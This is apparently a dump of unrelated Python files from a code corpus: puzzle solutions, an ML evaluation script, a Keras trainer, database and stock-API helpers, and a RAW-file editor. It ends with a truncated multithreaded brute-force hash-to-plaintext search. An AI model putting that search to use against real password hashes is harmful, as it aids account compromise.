1\n        else:\n            grid[y][x] = 0\n\nsolve_grid = Grid(matrix=grid)\nstart_point = solve_grid.node(start[0], start[1])\nend_point = solve_grid.node(end[0], end[1])\n\nfinder = AStarFinder(diagonal_movement=DiagonalMovement.never)\npath, runs = finder.find_path(start_point, end_point, solve_grid)\n\nprint('operations:', runs, 'path length:', len(path))\nprint(solve_grid.grid_str(path=path, start=start_point, end=end_point))\n\n# Note the the Astar finder returns whole length, including start_point\n\nprint(f'The answer to part 1 is {len(path) - 1}')\n\nmaze = deepcopy(org_grid)\nmaze[start[1]][start[0]] = '.'\nmaze[end[1]][end[0]] = 'O'\n\ndot_count = 0\nfor line in maze:\n    for char in line:\n        if char == '.':\n            dot_count += 1\ntotal_dot = dot_count\n\n\n\nstep = 0\nwhile dot_count != 0:\n    step += 1\n    # if step % 10 == 0:\n    #     print_maze(maze)\n    #     breakpoint()\n    print(f'Currently {round(((total_dot - dot_count) / total_dot),3) * 100}% is filled')\n    for y in range(y_max):\n        for x in range(x_max):\n            if maze[y][x] == 'O':\n                # Temporry set on P value to prevent multiple steps per iteration\n                if maze[y - 1][x] == '.':\n                    maze[y - 1][x] = 'P'\n                    dot_count -= 1\n                if maze[y + 1][x] == '.':\n                    maze[y + 1][x] = 'P'\n                    dot_count -= 1\n                if maze[y][x - 1] == '.':\n                    maze[y][x - 1] = 'P'\n                    dot_count -= 1\n                if maze[y][x + 1] == '.':\n                    maze[y][x + 1] = 'P'\n                    dot_count -= 1\n    for y in range(y_max):\n        for x in range(x_max):\n            # At end replace all temporary P values to O values\n            if maze[y][x] == 'P':\n                maze[y][x] = 'O'\n\nfor line in maze:\n    print('')\n    for char in line:\n        print(char, end='')\n\nprint(f'\\nThe answer to part 2 = {step}')\n","sub_path":"Day 15/Day 15b.py","file_name":"Day 15b.py","file_ext":"py","file_size_in_byte":19232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"531366392","text":"import glob as glob\nimport numpy as np\nfrom sklearn.metrics import confusion_matrix\nfrom sys import argv \nimport time \n\n\ndef parse_commandline():  \n    \"\"\"\n\tcommandline call: python3 Evaluation_2.py \"path to distance chunks\" \"path to binary chunks\" \n\t\n    EX:\n    python3 Evaluation_2.py '/home/kristine/Documents/Thesis/github_vers4/concat_test/blos62/' '/home/kristine/Documents/Thesis/github_vers4/concat_test/binary/'\n    python3 Evaluation_2.py '/work1/s111518/CDR3dist_kmer5/Train/' '/work1/s111518/Binary/Train_group/'\n\t\"\"\"\n    path_dist = argv[1] #path to distance matrix\n    path_bin = argv[2] #path to binary, truth matrix\n    path_output = argv[3]\n\n    return path_dist, path_bin, path_output\n\ndef import_matrix_new(dist_matrix, bin_path, recgon):\n    \"\"\"Function that import the distance matrix chunk and the binary distance matrix chunk\"\"\"\n    #open tsv file of a specific sorted name\n    print(\"Finding distance and matching binany chunks.....\")\n    distance_matrix_chunck = np.genfromtxt(dist_matrix, delimiter=\"\\t\") \n    binary_matrix_chunck = np.genfromtxt(bin_path+\"/%s\"%(recgon), delimiter=\"\\t\")\n    #return both files\n    return distance_matrix_chunck, binary_matrix_chunck\n\ndef _confusion_matrix(distance_matrix, binary_matrix, theshold):\n    \"\"\"\n    Function that create a confusion matrix for each distance file\n    \n              |        True Condition           |\n    ----------|---------------------------------|\n    Predicted | True postive   | False positive |\n    condition |----------------|----------------|\n              | False positive | True Negative  |\n      \n    \"\"\"\n    \n    _true = np.array(binary_matrix).flatten()\n    distance_array = np.array(distance_matrix).flatten()\n    _predicted = np.zeros(len(distance_array))\n\n    for i in range(len(distance_array)):\n        if distance_array[i] <= theshold:\n            _predicted[i] = 1\n    print(\"Calculating intermidiate confusion matrix for threshold: %s\" % (theshold))\n    tn, fp, fn, tp = confusion_matrix(_true, _predicted).ravel()\n    confus_matrix =  np.array([[tp, fp],[fn, tn]])        \n    return confus_matrix\n\ndef TPR_curve(distance_matrix, binary_matrix, theshold_list):\n    \"\"\"Function that outputs a csv file with all the TPRs of the distance matrix\"\"\"\n    confus_mat_list = []\n    \n    for i in range(len(theshold_list)):\n        cm  = _confusion_matrix(distance_matrix, binary_matrix, theshold_list[i])\n        confus_mat_list.append(cm)\n    \n    return confus_mat_list\n\ndef make_confus(path_dist, path_bin, theshold_list):\n    \"\"\"Function that loop all the data into the confusion matrix generator\"\"\"\n    empty_list = []    \n    all_files = sorted(glob.glob(path_dist + \"/*.tsv\"))\n    chunks = (len(all_files)) \n    \n    for i in range(len(all_files)):\n        print(\"-------------------------------------------------------------------------------\")\n        print(\"Chunk %s/%s\" % (i, len(all_files)))\n        print(\"The confusion matrices along the threshold vector is being calculated for %s\" % (all_files[i]))\n        print(\"-------------------------------------------------------------------------------\")\n        codon = all_files[i].split(\"/\")[-1]\n        imported_files = import_matrix_new(all_files[i], path_bin, codon)\n        _confus_matrix = TPR_curve(imported_files[0], imported_files[1], theshold_list)\n        empty_list.append(_confus_matrix)\n\n    return empty_list, chunks\n\ndef confus_concat(total_confus, thes_num, chunks):\n    \"\"\"Function that concatenate the confusion matrix for each threshold\"\"\"\n    x = []\n    for i in range(chunks):\n        mat = total_confus[i][thes_num]\n        x.append(mat)\n    confus_matrix = sum(x)\n    print(\"Confusion matrix: [[%s, %s], [%s, %s]]\" % (confus_matrix[0][0], confus_matrix[0][1], confus_matrix[1][0], confus_matrix[1][1]))\n    #TPR defines how many correct positive results occur among all positive samples available during the test.\n    TPR = confus_matrix[0][0]/(confus_matrix[0][0]+confus_matrix[1][0])\n    #FPR defines how many incorrect positive results occur among all negative samples available during the test.\n    FPR = confus_matrix[0][1]/(confus_matrix[0][1]+confus_matrix[1][1])\n    print(\"The true positive rate become: %s\" % (TPR))\n    print(\"The true neagtive rate become: %s\" % (FPR))\n    return TPR, FPR\n\ndef confus_concat1(total_confus, theshold_list, chunks):\n    tpr =[]\n    fpr =[]\n    for j in range(len(theshold_list)-1):\n        print(\"--------------------------------\")\n        print(\"For threshold: %s\" % (theshold_list[j]))\n        print(\"--------------------------------\")\n        y = confus_concat(total_confus, j, int(chunks-1))\n        tpr.append(y[0])\n        fpr.append(y[1])\n    return tpr, fpr\n    \nif __name__ == '__main__':\n    start_overall_time = time.time()   \n    path_dist, path_bin, path_output = parse_commandline()\n    print(\"Calculating the confusion matrixes and True Positive rates\")\n    print(\"#################################################################################\")\n    \n    #\n    #theshold_list = [0, 0.01, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1, 1.01]\n    #\n    name = path_dist.split(\"/\")[-2]\n\n    theshold_list = np.genfromtxt(name+\"_Threshold_list.csv\", delimiter=\",\")\n    theshold_list = np.append(theshold_list, [1.0, 1.01])\n    theshold_list = list(theshold_list)\n    \n    print(\"Theshold list is: %s\" % (theshold_list))\n    total_confus = make_confus(path_dist, path_bin, theshold_list)\n    print(\"#################################################################################\")\n    print(\"The final matrixes along the theshold vector along all chunks are:\")\n    print(\"#################################################################################\")\n    TPR_list = confus_concat1(total_confus[0], theshold_list, total_confus[1])\n    print(\"--------------------------------\")\n    print(\"Therefore the TPR list is: %s\" % (TPR_list[0]))\n    print(\"And the FPR list is: %s\" % (TPR_list[1]))\n    name_ = path_dist.split(\"/\")[-2]\n    np.savetxt((\"%s/%s_TPR.csv\"%(path_output, name_)), TPR_list[0], delimiter=',')\n    np.savetxt((\"%s/%s_FPR.csv\"%(path_output, name_)), TPR_list[1], delimiter=',')\n    print(\"--------------------------------\")\n    print(\"--- %s seconds ---\" % (time.time()- start_overall_time))\n    \n","sub_path":"thesis_desktop/github_vers6/eval_confus_matrix.py","file_name":"eval_confus_matrix.py","file_ext":"py","file_size_in_byte":6260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"431372983","text":"#! /opt/carnd_p3/behavioral/bin/python3\nfrom workspace_utils import active_session\nimport os\nimport subprocess\nimport csv\nimport tensorflow \nimport cv2\nimport sklearn\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Flatten, Dense, Lambda, Cropping2D, Convolution2D\nfrom keras.layers.convolutional import Conv2D\nfrom sklearn.utils import shuffle\n\nsamples = []\nwith open('data/driving_log.csv') as csvfile:\n    reader = csv.reader(csvfile)\n    next(reader)\n    for line in reader:\n        samples.append(line)\n        \n#Generator\nfrom sklearn.model_selection import train_test_split\ntrain_samples, validation_samples = train_test_split(samples, test_size=0.2)\ndef generator(samples, batch_size=32):\n    num_samples = len(samples)\n    while 1: # Loop forever so the generator never terminates\n        shuffle(samples)\n        for offset in range(0, num_samples, batch_size):\n            batch_samples = samples[offset:offset+batch_size]\n\n            images = []\n            angles = []\n            correction = 0.2\n            for batch_sample in batch_samples:\n                \n                steering_center = float(batch_sample[3])\n                steering_left = steering_center + correction\n                steering_right = steering_center - correction\n                flip_left_steering = steering_left * (-1)\n                flip_right_steering = steering_right * (-1)\n                angles.extend([steering_left, steering_right, flip_left_steering, flip_right_steering])\n                \n                #center_name = 'data/IMG/'+batch_sample[0].split('/')[-1]\n                left_name = 'data/IMG/'+batch_sample[1].split('/')[-1]\n                right_name = 'data/IMG/'+batch_sample[2].split('/')[-1]\n                \n                #image1 = cv2.imread(center_name)\n                #center_image = cv2.cvtColor(image1, cv2.COLOR_BGR2RGB)\n                \n                image2 = cv2.imread(left_name)\n                left_image = cv2.cvtColor(image2, cv2.COLOR_BGR2RGB)\n                flip_left = cv2.flip(left_image,1)\n                \n                image3 = cv2.imread(right_name)\n                right_image = cv2.cvtColor(image3, cv2.COLOR_BGR2RGB)\n                flip_right = cv2.flip(right_image,1)\n                images.extend([left_image, right_image, flip_left, flip_right])\n\n            X_train = np.array(images)\n            y_train = np.array(angles)\n            yield sklearn.utils.shuffle(X_train, y_train)\n            \n\nwith active_session():\n    # do long-running work here\n    # Set our batch size\n    batch_size=128\n\n    # compile and train the model using the generator function\n    train_generator = generator(train_samples, batch_size=batch_size)\n    validation_generator = generator(validation_samples, batch_size=batch_size)\n\n    pretrained_model = Sequential()\n    pretrained_model.add(Lambda(lambda x: x/255.0 - 0.5, input_shape=(160,320,3)))\n    pretrained_model.add(Cropping2D(cropping=((70,25),(0,0))))\n    pretrained_model.add(Convolution2D(24,5,5,subsample=(2,2),activation=\"relu\"))\n    pretrained_model.add(Convolution2D(36,5,5,subsample=(2,2),activation=\"relu\"))\n    pretrained_model.add(Convolution2D(48,5,5,subsample=(2,2),activation=\"relu\"))\n    pretrained_model.add(Convolution2D(64,3,3,activation=\"relu\"))\n    pretrained_model.add(Convolution2D(64,3,3,activation=\"relu\"))\n    pretrained_model.add(Flatten())\n    pretrained_model.add(Dense(100))\n    pretrained_model.add(Dense(50))\n    pretrained_model.add(Dense(10))\n    pretrained_model.add(Dense(1))\n\n    extracted_layers = pretrained_model.layers[:]\n    pretrained_model = Sequential(extracted_layers)\n    pretrained_model.load_weights(\"weights.h5\")\n    pretrained_model.summary()\n    pretrained_model.compile(loss='mse', optimizer='adam')\n    history_object = pretrained_model.fit_generator(train_generator, samples_per_epoch =\n        len(train_samples), validation_data = \n        validation_generator,\n        nb_val_samples = len(validation_samples), \n        nb_epoch=5, verbose=1)\n    pretrained_model.save('model_new.h5')\n    pretrained_model.save_weights(\"weights_new.h5\")\n    print(history_object.history.keys())\n    #os.system(\"/opt/carnd_p3/linux_sim/linux_sim.x86_64\")\n    #print(\"hello\")\n   ","sub_path":"keep_alive.py","file_name":"keep_alive.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"423832315","text":"import psycopg2\nimport psycopg2.extras\n\n# conn = psycopg2.connect(\"dbname=test_db user=postgres password=password host=10.211.55.3\")\n\n\nclass Psycopg2BaseUsage(object):\n\n    def __init__(self,\n                 host='localhost',\n                 port=5432,\n                 user='user',\n                 password='passwd',\n                 dbname='dbname'):\n        # 连接到数据库\n        self.connection = psycopg2.connect(\n            host=host,\n            port=port,\n            user=user,\n            password=password,\n            dbname=dbname,\n            cursor_factory=psycopg2.extras.RealDictCursor\n        )\n        print(\"已建立数据库连接\")\n\n    def create_table(self, sql):\n        with self.connection.cursor() as cursor:\n            cursor.execute(sql)\n        self.connection.commit()\n\n    def drop_table(self, sql):\n        with self.connection.cursor() as cursor:\n            cursor.execute(sql)\n        self.connection.commit()\n\n    def insert(self, sql, params=None):\n        with self.connection.cursor() as cursor:\n            cursor.execute(sql, params)\n        self.connection.commit()\n\n    def select_all(self, sql, params=None):\n        results = None\n        with self.connection.cursor() as cursor:\n            cursor.execute(sql, params)\n            results = cursor.fetchall()\n        return results\n\n    def select_many(self, sql, params=None, size=1):\n        results = None\n        with self.connection.cursor() as cursor:\n            cursor.execute(sql, params)\n            results = cursor.fetchmany(size)\n        return results\n\n    def select_one(self, sql, params=None):\n        result = None\n        with self.connection.cursor() as cursor:\n            cursor.execute(sql, params)\n            result = cursor.fetchone()\n        return result\n\n    def __del__(self):\n        self.connection.close()\n        print(\"已断开数据库连接\")\n\n\nif __name__ == '__main__':\n    obj = Psycopg2BaseUsage(host=\"192.168.219.3\", user=\"postgres\", password=\"passwd\", dbname=\"test_db\")\n    # 建表语句\n    create_sql = '''\n        CREATE TABLE if not exists test_table (\n            id serial NOT NULL,\n            colume1 varchar(255) NOT NULL,\n            colume2 varchar(255) NOT NULL,\n            PRIMARY KEY (id)\n        );'''\n    obj.create_table(create_sql)\n\n    # 删表语句\n    # drop_sql = '''DROP TABLE test_table'''\n    # obj.drop_table(drop_sql)\n\n    # 插入数据\n    # insert_sql = \"INSERT INTO test_table (colume1, colume2) VALUES (%s, %s)\"\n    # obj.insert(insert_sql, (\"data1\", \"data2\"))\n\n    # 查询数据\n    select_sql = \"SELECT * FROM test_table\"\n    results = obj.select_all(select_sql)\n    print(\"all: \", results)\n    print(results[0][\"id\"])\n    #\n    # results = obj.select_many(select_sql, size=10)\n    # print(\"many: \", results)\n    #\n    # result = obj.select_one(select_sql)\n    # print(\"one: \", result)\n","sub_path":"spider_04_爬虫数据处理/爬虫数据存储/d06_psycopg使用.py","file_name":"d06_psycopg使用.py","file_ext":"py","file_size_in_byte":2879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"578306354","text":"import requests\nimport pandas as pd\nfrom datetime import datetime, timedelta\nfrom sqlalchemy import create_engine, Table, Column, Numeric, String, Date, MetaData, Integer, and_ \n\nclass UserInputException(Exception):\n    pass\nclass ApiExpception(Exception):\n    pass\n\ndef load_data_stock(symbol, start_date, end_date):        \n    # requesting needed data \n    data = requests.get('https://www.alphavantage.co/query?function=TIME_SERIES_DAILY_ADJUSTED&symbol={}&outputsize=full&apikey={}'.format(symbol,api_key))\n\n    print('Data loading json format for stock {}: '.format(symbol))\n    print('Loading: ')\n        \n    data = data.json()\n        \n    if 'Error Message' in data:\n        raise ApiExpception('Alpha vantage stock API failed with downloading data. Possibly wrong symbol name.')\n\n    data = data['Time Series (Daily)'] #receving data starting from date, description is deleted\n    print('Done loading json format for stock {}.'.format(symbol))\n\n    stock_values = pd.DataFrame(columns={1, 2}) \n    stock_values = stock_values.rename(columns={1:'Date', 2: symbol})\n    \n    for d, p in data.items(): # looping over a dictionary \n        date = datetime.strptime(d,'%Y-%m-%d').date() # setting the key as datetime date\n        data_row = [date, float(p['5. adjusted close'])] # creating rows only for the needed column\n        stock_values.loc[-1,:] = data_row # adding values to before created data frame\n        stock_values.index = stock_values.index + 1 \n    stock_values = stock_values.sort_values('Date')\n    \n    \n    stock_values['Date'] = pd.to_datetime(stock_values['Date'])\n    start_date = pd.to_datetime(start_date)\n    end_date = pd.to_datetime(end_date)\n    \n    stock_values = stock_values.loc[(stock_values['Date'] >= start_date) & (stock_values['Date'] <= end_date)] # choosing the necessary sample period \n    \n    stock_values = stock_values.set_index('Date')\n\n    return stock_values\n\n\ndef load_data_fx(currency, start_date, end_date): \n    data = requests.get('https://www.alphavantage.co/query?function=FX_DAILY&from_symbol=USD&to_symbol={}&outputsize=full&apikey={}'.format(currency, api_key))\n    \n    print('Data loading json format for FX USD/{}: '.format(currency))\n    print('Loading: ')\n    data = data.json()\n    if 'Error Message' in data:\n        raise ApiExpception('Alpha vantage currency API failed with downloading data. Possibly wrong currency name.')\n\n    data = data['Time Series FX (Daily)'] \n    \n    print('Done loading json format for FX USD/{}.'.format(currency))\n\n    fx_values = pd.DataFrame(columns={1,2}) \n    fx_values = fx_values.rename(columns={1:'Date', 2:'USD/'+currency})\n\n    for d, p in data.items():\n        date = datetime.strptime(d,'%Y-%m-%d')\n        data_row = [date, float(p['4. close'])]\n        fx_values.loc[-1,:] = data_row\n        fx_values.index = fx_values.index + 1 \n    fx_values = fx_values.sort_values('Date')\n    \n    fx_values['Date'] = pd.to_datetime(fx_values['Date'])\n    start_date = pd.to_datetime(start_date)\n    end_date = pd.to_datetime(end_date)\n    \n    fx_values = fx_values.loc[(fx_values['Date'] >= start_date) & (fx_values['Date']<= end_date)] \n    \n    fx_values = fx_values.set_index('Date')\n    \n    return fx_values\n    \ndef model(symbol, currency, start_date, end_date):  \n    print('Loading stock data: ')\n    stock = load_data_stock(symbol, start_date, end_date) # installing stock data\n    print('Finished.')\n    \n    print('Loading fx data: ')\n    fx = load_data_fx(currency, start_date, end_date) # installing fx data\n    print('Finished.')\n    \n    dataframe = pd.merge(stock, fx, how = 'inner', left_index = True, right_index = True) # merging stock and fx data\n    dataframe['Symbol'] = symbol # creating rows with stock symbol\n    dataframe['Currency'] = currency # creating rows with currency symbol\n    dataframe['Amount'] = dataframe[symbol] * dataframe['USD/' + currency] # calculating the deminonation in requested currency \n    dataframe = dataframe.drop([symbol,'USD/'+ currency], axis = 1) # dropping unnecessary columns \n    \n    print('Value of stock finished calculating in {} currency'. format(currency)) \n     \n    return dataframe\n    \n\n\n\ndef createDbConnection(): # creating database\n    engine = create_engine('sqlite:///foo_trial.db')\n    return engine\n\ndef create_stocks_table(engine): # creating table to insert already used data\n    meta = MetaData(engine)\n    \n    stocks = Table( # table creation\n       'stocks', \n        meta, \n        Column('id', Integer, primary_key = True), \n        Column('Symbol', String), \n        Column('Currency', String), \n        Column('Date', Date),\n        Column('Amount', String)\n    )\n    meta.create_all()\n    return stocks \n\ndef running_query(symbol, currency, start_date, end_date): # running query to pull out the necessary data\n    query = stock_table.select().where(\n        and_(\n            stock_table.columns.Date >= pd.to_datetime(start_date),\n            stock_table.columns.Date <= pd.to_datetime(end_date) + timedelta(days=1),\n            stock_table.columns.Symbol == symbol,\n            stock_table.columns.Currency == currency\n        )\n    )\n    return pd.read_sql(query, conn)\n\n\ndef checking_api(symbol, currency, start_date, end_date, query_data):\n    if query_data.empty: # if query is empty, pick all data from API\n        stored = model(symbol, currency, start_date, end_date)\n    \n    else:\n        min_value = query_data['Date'].min() # finding minimum value \n        max_value = query_data['Date'].max() # finding maximum value\n        \n        if min_value > pd.to_datetime(start_date): # if minimum date in query BIGGER than start_date\n            print('Getting additional data from API before the earliest date in database.')\n            new_end_date = min_value - timedelta(days=1)\n            store_min = model(symbol, currency, start_date, new_end_date)\n        else:\n            store_min = pd.DataFrame([])\n        \n        if max_value < pd.to_datetime(end_date): # if maximum value in query smaller than end_date\n            print('Getting additional data from API after the latest date in database.')\n            new_start_date = max_value + timedelta(days=1)\n            store_max = model(symbol, currency, new_start_date, end_date) \n        else:\n            store_max = pd.DataFrame([])\n    \n        stored = pd.concat([store_min, store_max])\n    \n    stored.to_sql('stocks', conn, if_exists='append')\n    return stored\n\n\ndef get_user_input():\n    if(api_key == ''):\n        raise UserInputException('No existing API key. Try again.')     \n\n    symbol = input('Enter stock symbol: ').strip().upper()\n    currency = input('Enter requested currency: ').strip().upper()\n    \n    start_date = input('Enter starting date YYYY-MM-DD: ')\n    try: \n        start_date = pd.to_datetime(start_date)\n    except Exception:\n        raise UserInputException('Start date is invalid. Try again.')\n\n    end_date = input('Enter ending date YYYY-MM-DD: ')\n    try: \n        end_date = pd.to_datetime(end_date)\n    except Exception:\n        raise UserInputException('End date is invalid. Try again.')\n\n    if pd.isna(start_date):\n        raise UserInputException('Start date is empty. Try again.')\n\n    if pd.isna(end_date):\n        raise UserInputException('End date is empty. Try again.')\n\n    if(start_date > end_date):\n        raise UserInputException('End date has to be greater than start date. Please insert correct date parameters.')\n\n    return symbol, currency, start_date, end_date    \n    \n\ndef requesting_data():\n\n    try:    \n        symbol, currency, start_date, end_date = get_user_input()\n    except UserInputException as e:\n        print(str(e))\n        return \n\n\n    print('Taking data from the database: ')\n    query_data = running_query(symbol, currency, start_date, end_date) # pulling data from query\n    query_data = query_data.drop(['id'],axis=1)\n    print('Done.')\n    \n    print('Downloading data from Alpha Vangtage, if needed: ')\n    try:\n        api_data = checking_api(symbol, currency, start_date, end_date, query_data)\n        print('Finished downloading API data.')\n\n\n        query_data = query_data.set_index('Date') \n        dataset = pd.concat([query_data, api_data])\n        dataset = dataset.sort_index()\n\n        min_data = dataset.index.min()\n        max_data = dataset.index.max()\n        \n        if min_data != start_date:\n            print('Can not find the start date. Getting the earliest information.') \n        if max_data != end_date:\n            print('Can not find the end date. Getting the latest information.') \n\n        dataset.index = pd.to_datetime(dataset.index)\n        dataset.to_csv('data.csv')   \n        print('{} value downloaded in {} currency'.format(symbol, currency))\n        return dataset\n    except ApiExpception as error:\n        print('Try again: ')\n        print(str(error))\n        return\n        \nengine = createDbConnection() # running the engine \nconn = engine.connect() # making connection to the engine \nstock_table = create_stocks_table(engine) # creating table as named stocks\n\napi_key = ''\nrequesting_data()\n","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":9086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"348397834","text":"import time\nfrom db_creat import DBConnect\n\n\ndef main():\n    dbConnet = DBConnect()\n    while 1:\n        # Select option\n        print(\"***\\n0-Exit\\n1-Add\\n2-Delete Data\\n3-List Data\\n4-Update Data \\n***\")\n        selectOP = int(input(\"Your option: \"))\n        try:\n            if(selectOP == 0):\n                break\n            elif (selectOP == 1):\n                print(\"Add data\")\n                aName = input(\"Name: \")\n                aAge = int(input(\"Age: \"))\n                dbConnet.AddData(aName, aAge)\n            # Delete state\n            elif (selectOP == 2):\n                aID = int(input(\"ID:\"))\n                dbConnet.DeleteData(aID)\n            elif (selectOP == 3):\n                dbConnet.ListData()\n            elif (selectOP == 4):\n                aID = input(\"ID:\")\n                aAge = int(input(\"Update new Age:\"))\n                dbConnet.UpdateData(aID, aAge)\n            else:\n                print(\"You must input index\")\n                break\n\n            time.sleep(1)\n        except ValueError:\n            print(\"Input number\")\n            break\n\nif __name__ == '__main__':main()","sub_path":"1.Course_1/Collection/Class_dbConnect.py","file_name":"Class_dbConnect.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"365218806","text":"'''\nWe can work out the elements at the corners of the outermost ring to be n^2, n^2 - n + 1, n^2 - 2n + 2, n^2 - 3n + 3 for any n x n square(where n is odd). \nThus the total contribution to the final sum from an outermost ring can be written as 4n^2 - 6n + 6. The only exception to this is a square matrix of size 1 x 1 where the contribution will be 1.\n'''\n\nsize = 1001\ntotal = 1\n\nfor n in range(3, size + 1, 2):\n    total += 4 * (n ** 2) - 6 * n + 6\n\nprint(total)","sub_path":"28.py","file_name":"28.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"365602851","text":"# get the load data in load data new (raw0406) and load data old (raw0322)\n# delete all the lines appearing in testraw0405 and add all the lines in load data new\nload_data_old = 'loadDataOld.txt'\nload_data_new = 'loadDataNew.txt'\nraw_old = 'testRAW04052018.raw'\nraw_new = 'testRAW04052018_fixedload.raw'\nloadBusFile = 'loadBusFile.txt'\n\nload_to_delete = set()\nload_to_add = []\nloadBusSet = set()\n\n\nwith open(load_data_old,'r') as f:\n\tfilecontent = f.read()\n\tfileLines = filecontent.split('\\n')\n\tfor line in fileLines:\n\t\tif line == '':\n\t\t\tcontinue\n\n\t\tload_to_delete.add(line)\n\n\nwith open(load_data_new,'r') as f:\n\tfilecontent = f.read()\n\tfileLines = filecontent.split('\\n')\n\tfor line in fileLines:\n\t\tif line == '':\n\t\t\tcontinue\n\t\tload_to_add.append(line)\n\n\t\twords = line.split(',')\n\t\tBus = words[0].strip()\n\t\tloadBusSet.add(Bus)\n\n\nnewRawLines = []\nwith open(raw_old,'r') as f:\n\tfilecontent = f.read()\n\tfileLines = filecontent.split('\\n')\n\n\nloadStartIndex = fileLines.index('0 / END OF BUS DATA, BEGIN LOAD DATA') + 1\nloadEndIndex = fileLines.index('0 / END OF LOAD DATA, BEGIN FIXED SHUNT DATA')\n\n\nfor i in range(loadStartIndex):\n\tline = fileLines[i]\n\tnewRawLines.append(line)\n\n\nfor i in range(loadStartIndex,loadEndIndex):\n\tline = fileLines[i]\n\tif line in load_to_delete:\n\t\tcontinue\n\n\tnewRawLines.append(line)\n\nfor line in load_to_add:\n\tnewRawLines.append(line)\n\nfor i in range(loadEndIndex,len(fileLines)):\n\tline = fileLines[i]\n\tnewRawLines.append(line)\n\n\n\nwith open(raw_new,'w') as f:\n\tfor line in newRawLines:\n\t\tf.write(line)\n\t\tf.write('\\n')\n\n\nwith open(loadBusFile,'w') as f:\n\tf.write('List of load buses:')\n\tf.write('\\n')\n\tfor bus in list(loadBusSet):\n\t\tf.write(bus)\n\t\tf.write('\\n')","sub_path":"Island 34 system/changeLoadData.py","file_name":"changeLoadData.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"231055703","text":"# coding: utf-8\n\nimport time\nimport threading\n\n\"\"\" import local liblarys \"\"\"\nfrom .ComputeHash import ComputeHash\nfrom . import TimeFormatter\n\nclass SearchClearText:\n\n    def __init__(self, alg_index, targetStr, strLen, threadMax, mode, use_multiThread, use_debug):\n\n        # デバッグ用出力の指定\n        self.output_clearTextList = use_debug\n\n        # マルチスレッド処理の可否\n        self.useMultiThread = use_multiThread\n\n        self.clearTextList = \"\"\n        self.srcStr = [0]*threadMax\n        self.chr = [0]*threadMax\n\n        for i in range(0, threadMax):\n            self.srcStr[i] = [0]*strLen\n            self.chr[i] = [0]*strLen\n\n        # 選択したアルゴリズムのインデックス番号\n        self.Algorithm_Index = alg_index\n\n        # 選択したスレッド数のインデックス番号の指定（配列の選択)\n        if threadMax == 1:\n            self.selectIndex = 0\n        elif threadMax == 2:\n            self.selectIndex = 1\n        elif threadMax == 4:\n            self.selectIndex = 2\n        elif threadMax == 8:\n            self.selectIndex = 3\n        elif threadMax == 16:\n            self.selectIndex = 4\n        else:\n            print(\"threadMax = {0:d} threadMax is Invalid...\".format(threadMax))\n            exit(-1)\n\n        # ハッシュ後の検索対象文字列をセット\n        for i in range(0, len(targetStr), 2):\n            if i == 0:\n                b1 = self.charToHex(targetStr[i])\n                b2 = self.charToHex(targetStr[i+1])\n                self.targetHashedBytes = (16*b1 + b2).to_bytes(1, 'big')\n            else:\n                b1 = self.charToHex(targetStr[i])\n                b2 = self.charToHex(targetStr[i+1])\n                self.targetHashedBytes += (16*b1 + b2).to_bytes(1, 'big')\n\n        # 検索範囲配列の初期化\n        self.targetChars_Init(mode)\n\n        self.ch = ComputeHash()\n\n    #-----------------------------------------------------------------------------\n    # 検索対象文字を配列にセットする。\n    #-----------------------------------------------------------------------------\n    def targetChars_Init(self, mode):\n        # 検索範囲配列の初期化\n        self.chr_StartEnd_Init()\n\n        if mode == 0:\n            # 英数文字および記号が対象のとき\n            self.targetChars = [0]*(0x7f - 0x20)\n\n            for i, num in enumerate(range(0x20, 0x7f)):\n                self.targetChars[i] = num.to_bytes(1, 'big')\n\n        elif mode == 1:\n            # 英数文字のみが対象のとき\n            self.targetChars = [('9' - '0') + 1 + ('Z' - 'A') + 1 + ('z' - 'a') + 1]\n\n            for i, num in enumerate(range('0', '9' + 1)):\n                self.targetChars[i] = num\n\n            for i, num in enumerate(range('A', 'Z' + 1)):\n                self.targetChars[i] = num\n\n            for i, num in enumerate(range('a', 'z' + 1)):\n                self.targetChars[i] = num\n\n        # 検索範囲配列の初期化\n        self.chr_StartEnd_Set()\n\n\n    #-----------------------------------------------------------------------------\n    # 検索範囲配列の初期化\n    #-----------------------------------------------------------------------------\n    def chr_StartEnd_Init(self):\n        self.chrStart = [[]]*5\n        self.chrEnd = [[]]*5\n\n        self.chrStart[0] = [0]*1\n        self.chrStart[1] = [0]*2\n        self.chrStart[2] = [0]*4\n        self.chrStart[3] = [0]*8\n        self.chrStart[4] = [0]*16\n\n        self.chrEnd[0] = [0]*1\n        self.chrEnd[1] = [0]*2\n        self.chrEnd[2] = [0]*4\n        self.chrEnd[3] = [0]*8\n        self.chrEnd[4] = [0]*16\n\n\n    #-----------------------------------------------------------------------------#\n    # 各スレッドごとの対象範囲のセット\n    #-----------------------------------------------------------------------------#\n    def chr_StartEnd_Set(self):\n        #-------------------------------------------------------------------------#\n        # スレッド数が１のときの開始・終了文字\n        #-------------------------------------------------------------------------#\n        self.chrStart[0][0] = 0\n        self.chrEnd[0][0] = len(self.targetChars)\n\n        #-------------------------------------------------------------------------#\n        # スレッド数が２（配列インデックス=1）のときの開始・終了文字\n        #-------------------------------------------------------------------------#\n        self.chrStart[1][0] = 0\n        self.chrStart[1][1] = len(self.targetChars) // 2\n        self.chrEnd[1][0] = self.chrStart[1][1]\n        self.chrEnd[1][1] = len(self.targetChars)\n\n        #-------------------------------------------------------------------------#\n        # 